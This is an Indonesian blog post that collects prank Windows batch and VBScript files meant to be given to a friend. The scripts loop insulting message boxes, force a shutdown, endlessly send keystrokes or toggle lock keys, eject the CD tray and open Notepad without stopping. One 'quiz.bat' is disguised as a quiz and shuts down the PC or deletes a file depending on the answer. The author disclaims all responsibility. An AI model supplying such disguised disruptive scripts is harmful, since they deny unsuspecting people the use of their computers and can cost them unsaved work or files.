Posts Subscribe to This BlogComments

Follow Us

Wednesday, August 17, 2011

Jahil dengan script notepad

Trik ini bisa kita pakai, untuk menjahili computer seseorang gan. Yang harus agan siapin adalah Program Notepad. Dan copy script di bawah ke dalam notepad.

1.message yang nongol melulu
@ECHO off
:Begin
msg * muka agan jelek
msg * ngaca dulu gih
msg * hayo lo gan,cpu ente ane acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

save namafile.BAT

2.bikin shutdown+message
@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka agan standar abis"
save namafile.BAT


3.Mainin Caps Lock button
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

save namafile.vbs

4.buka tutup CD/DVD
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save namafile.vbs

5.bikin vbscript nongol melulu
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

save namafile.vbs


6.tekan tombol backspace melulu
MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

save namafile.vbs

7.otomatis ngetik "agan jelek banget sih" di notepad/word
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "agan jelek banget sih!!!"
loop

save namafile.vbs

8.buka notepad trus menerus
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

save namafile.BAT

9.otomatis buka notepad lalu ngetik apa yg agan mau
WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys "gan "
WScript.Sleep 50
WshShell.SendKeys "ma"
WScript.Sleep 50
WshShell.SendKeys "ho"
WScript.Sleep 50
WshShell.SendKeys " ba"
WScript.Sleep 50
WshShell.SendKeys "ng"
WScript.Sleep 50
WshShell.SendKeys "et"
WScript.Sleep 50
WshShell.SendKeys " d"
WScript.Sleep 50
WshShell.SendKeys "e"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

save namafile.vbs

scrip tambahan
@echo off
title quiz hari ini
:menu
cls
echo jika agan kena virus apa yang agan lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka agan jelek sih
msg * ngaca dulu gih
msg * hayo lo gan,cpu ente ane acak2
msg * ud install ulang aja
msg * biar masalah nya kelar, hihihi
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

nah script diatas save jadi quiz.bat kasih ke temen..

ane ga tanggungjawap klo ada ape2 lho gan, sekedar share ajah...  
 


Tambahan :

10. Buat errror monitor (effect: flash light)

1. Buka Notepad

2. Copy dan Paste skript Berikut:

------------------------------Skript------------------------------
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a
---------------------------akhir skript---------------------------

3. Save as, ubah save as type menjadi "all files", simpan dengan format ".bat", misal Hx.bat.

11. bikin kayboard ajep2


Code:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop
save nama apa aja as format *.vbs


Sumber

Related Post



0 komentar:

Post a Comment

Popular Posts

Tracker

free counters IP

Recent Comments

 

Profil

My Friends

Silahkan Masukan Email Anda Untuk Berlangganan

Enter your email address:

Delivered by FeedBurner